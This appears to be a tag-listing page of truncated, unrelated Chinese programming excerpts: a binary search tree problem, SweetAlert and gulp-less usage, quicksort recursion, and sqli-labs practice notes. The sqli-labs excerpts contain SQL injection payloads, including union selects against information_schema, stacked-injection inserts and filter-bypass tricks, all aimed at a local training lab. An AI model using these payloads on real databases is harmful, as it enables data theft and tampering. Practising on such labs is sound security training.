less

1064 Complete Binary Search Tree

|▌冷眼眸甩不掉的悲伤 提交于 2020-02-04 00:23:55
A Binary Search Tree (BST) is recursively defined as a binary tree which has the following properties: The left subtree of a node contains only nodes with keys less than the node's key. The right subtree of a node contains only nodes with keys greater than or equal to the node's key. Both the left and right subtrees must also be binary search trees. A Complete Binary Tree (CBT) is a tree that is completely filled, with the possible exception of the bottom level, which is filled from left to right. Now given a sequence of distinct non-negative integer keys, a unique BST can be constructed if it

Adding class to sweet alert

只谈情不闲聊 提交于 2020-02-03 07:59:27
问题 I am trying to add an extra class for my modal so I can select it from LESS and turn it's background to transparent. But customClass is not working. Is there any other way to do it. BTW I have already changed a lot with default classes so I need to do this for just one modal, can not effect the global swal. swal({ title: success, showConfirmButton: false, html: true, customClass: ".swal-back" }); 回答1: The customClass option has been removed. You need to use className now instead. The period

sqli-labs个人注入心得

一世执手 提交于 2020-02-03 06:08:46
闭合方式类型都有一般是’,",或 无闭合符号 或 '),") Less-1 尝试?id=1 注释符号为–+、-- 、#。 当尝试?id=1’)时 很明显是属于单引号闭合方式 用–+注释掉后面的 接下来就要判断一下列数?id=1’ order by 10–+,发现 多试验几次后 得到共有三列数据接着进行联合查询?id=X’(x不等于1,2,3) union select 1,2,3–+,这里将id等于一个数据库不存在的数,通过联合查询能看出我们输入的数据在哪里能够显示出来。 在2,3的位置可以插入我们想用的语句了,接下来要做的就是爆数据表 开始之前,已经知道在MySQL中有information_schema这个库,该库存放了所有数据库的信息。 { 数据库经常引用的词汇! information_schema.columns包含所有表的字段 table_schema 数据库名 table_name 表名 column_name 列名 information_schema.tables包含所有库的表名 table_schema 数据库名 table_name 表名 information_schema.schemata包含所有数据库的名 schema_name 数据库名 group_concat()函数功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。}

快速排序

ε祈祈猫儿з 提交于 2020-02-03 04:03:11
快速排序采用了分而治之的策略(divide and conquer,D&C),一种著名的递归式问题解决方法。 分而治之的工作原理: 找出简单的基线条件 确定如何缩小问题的规模,使其符合基线条件 使用递归实现数组元素求和: java版本 public static int sum(int[] array){ if(array.length <= 1){ return array[0]; } return array[0] + sum(Arrays.copyOfRange(array,1,array.length)); } 编写涉及数组的递归函数时,基线条件通常是数组为空或只包含一个元素。 Python版本: def sum(list): if list==[]: return 0 return list[0]+sum(list[1:]) print (sum([1,2,3,4,5,6,7,8])) 使用递归计算列表包含的元素个数 java版本 public static int count(int[] array){ if(array.length < 1){ return 0; } return 1+count(Arrays.copyOfRange(array,1,array.length)); } Python版本 def count(list): if list == []:

sqli lab 38-45

烂漫一生 提交于 2020-02-02 23:42:57
less38 Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。 而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ;表示语句结束。 这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。 我们可以在mysql命令行中进行测试: Select * from users; create table test1 like users; Show tables; Select * from users; drop table test1; Select * from users; select 1,2,3; http://192.168.50.100/sqli-labs/Less-38/?id=1'; create table ghz like users ;--+ http://192.168.50.100/sqli-labs/Less-38/?id=1'; create table ghz like users ;--+ 但其实这样只是复制了表的结构 美哟做到复制表的数据 参考链接 :https://blog.csdn.net/qi95719/article/details/60883148 http://192.168.50.100/sqli-labs

sqli_labs学习笔记(一)Less-38~Less-53

假装没事ソ 提交于 2020-02-02 18:23:13
续上,开门见山 堆叠注入,实际上就构成了两条 SQL 语句 http://43.247.91.228:84/Less-38/?id=1' union select 1,2,3 --+ // 未报错 http://43.247.91.228:84/Less-38/?id=1' union select 1,2,3,4 --+ // 报错 查询出有三个字段, 使用堆叠注入, 暴位置 http://43.247.91.228:84/Less-38/?id=-1' union select 1,2,3;insert into users values(33,'joker','joker') --+ 爆表 http://43.247.91.228:84/Less-38/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();insert into users values(33,'joker','joker') --+ 暴字段 http://43.247.91.228:84/Less-38/?id=-1' union select 1,2,group_concat(column_name) from information

gulp教程之gulp-less

ぃ、小莉子 提交于 2020-02-02 05:35:31
1、安装nodejs/全局安装gulp/项目安装gulp/创建package.json和gulpfile.js文件 1.1、gulp基本使用还未掌握?请参看: gulp详细入门教程 1.2、本示例目录结构如下: 2、本地安装gulp-less 2.1、github: https://github.com/plus3network/gulp-less 2.3、安装:命令提示符执行 cnpm install gulp-less --save-dev 2.4、注意:没有安装cnpm请使用 npm install gulp-less --save-dev 什么是cnpm,如何安装? 2.5、说明: --save-dev 保存配置信息至 package.json 的 devDependencies 节点。 为什么要保存至package.json? 3、配置gulpfile.js 3.1、基本使用 JavaScript 1 2 3 4 5 6 7 8 var gulp = require ( 'gulp' ) , less = require ( 'gulp-less' ) ; gulp . task ( 'testLess' , function ( ) { gulp . src ( 'src/less/index.less' ) . pipe ( less ( ) ) . pipe (

linux每日命令(14):less命令

倖福魔咒の 提交于 2020-02-02 04:55:50
less 工具也是对文件或其它输出进行分页显示的工具,应该说是linux正统查看文件内容的工具,功能极其强大。less 的用法比起 more 更加的有弹性。在 more 的时候,我们并没有办法向前面翻, 只能往后面看,但若使用了 less 时,就可以使用 [pageup] [pagedown] 等按键的功能来往前往后翻看文件,更容易用来查看一个文件的内容!除此之外,在 less 里头可以拥有更多的搜索功能,不止可以向下搜,也可以向上搜。 一.命令格式: less [参数] 文件 二.命令功能: less 与 more 类似,但使用 less 可以随意浏览文件,而 more 仅能向前移动,却不能向后移动,而且 less 在查看之前不会加载整个文件。 三.命令参数: 参数 描述 -b 设置缓冲区的大小 -e 当文件显示结束后,自动离开 -f 强迫打开特殊文件,例如外围设备代号、目录和二进制文件 -g 只标志最后搜索的关键词 -i 忽略搜索时的大小写 -m 显示类似more命令的百分比 -N 显示每行的行号 -o 将less 输出的内容在指定文件中保存起来 -Q 不使用警告音 -s 显示连续空行为一行 -S 行过长时间将超出部分舍弃 -x 将“tab”键显示为规定的数字空格 /字符串: 向下搜索“字符串”的功能 ?字符串: 向上搜索“字符串”的功能 n: 重复前一个搜索(与 / 或 ?

Less23-Less25a

我的梦境 提交于 2020-02-01 16:56:25
Less-23: 方法一:使用 union select ?id=1 正常登录 ?id=1’ 显示错误 ?id=1’--+ 发现错误并无法闭合(不像第一关那样) 通过查看源码,我们发现将注释符都替换成空格符。 $id = preg_replace($reg1, $replace, $id); 源码中对于 --+ # 进行了过滤处理, 所以这里我们只能使用and 或者or语句进行闭合 在这里可以使用另外一种特殊的注释符 ;%00 通过这个注释符可以判断列数 除了在 url 末尾将 --+ 、 # 替换为 ;%00 其余的均和 less-1 关相同, 就不在陈述了,直接放语句了 /?id=1‘ order by 3 ;%00 查多少列 /?id=-1’ union select 1,2,3 ;%00 查找回显位置 /?id=-1‘ union select 1,2, group_concat(schema_name) from information_schema.schemata ;%00 查库名 /?id=-1‘ union select 1,2, group_concat(table_name) from information_schema.tables where table_schema = 0x7365637572697479 ;%00 查表名 /?id=-1‘

less 28-31

人走茶凉 提交于 2020-02-01 00:47:44
less28 id=1 显示正常 id=1’ 显示不正常 说明存在注入漏洞 接下来得坑 请注意 ?id=1‘ || ’1‘=‘1 这个时候数据回显正常 ?id=1‘ %a0 union %a0 select %a0 1,2,3 || ’1‘=‘1 这个正常的操作但是显示确实错误的? 我们将 ||进行替换一下 ?id=1'%26%26'1'='2 没有回显信息 ?id=1%26%26'1'='1 有回显信息 返回为空 就会报错 但其实他得闭合方式是 id=1’) http://192.168.50.100/sqli/Less-28/?id=1') %a0 order %a0 by %a0 3 ;%00 判断有三列 http://192.168.50.100/sqli/Less-28/?id=1 1111‘) %a0 union %a0 select %a0 1,2,3 ;%00 此时可以得到回显位。 http://192.168.50.100/sqli/Less-28/?id=11111‘) %a0 union %a0 select %a0 1,2, group_concat(schema_name) %a0 from %a0 information_schema.schemata ;%00 也可以不使用 ;%00 闭合 使用 or语句闭合 因为没有报错信息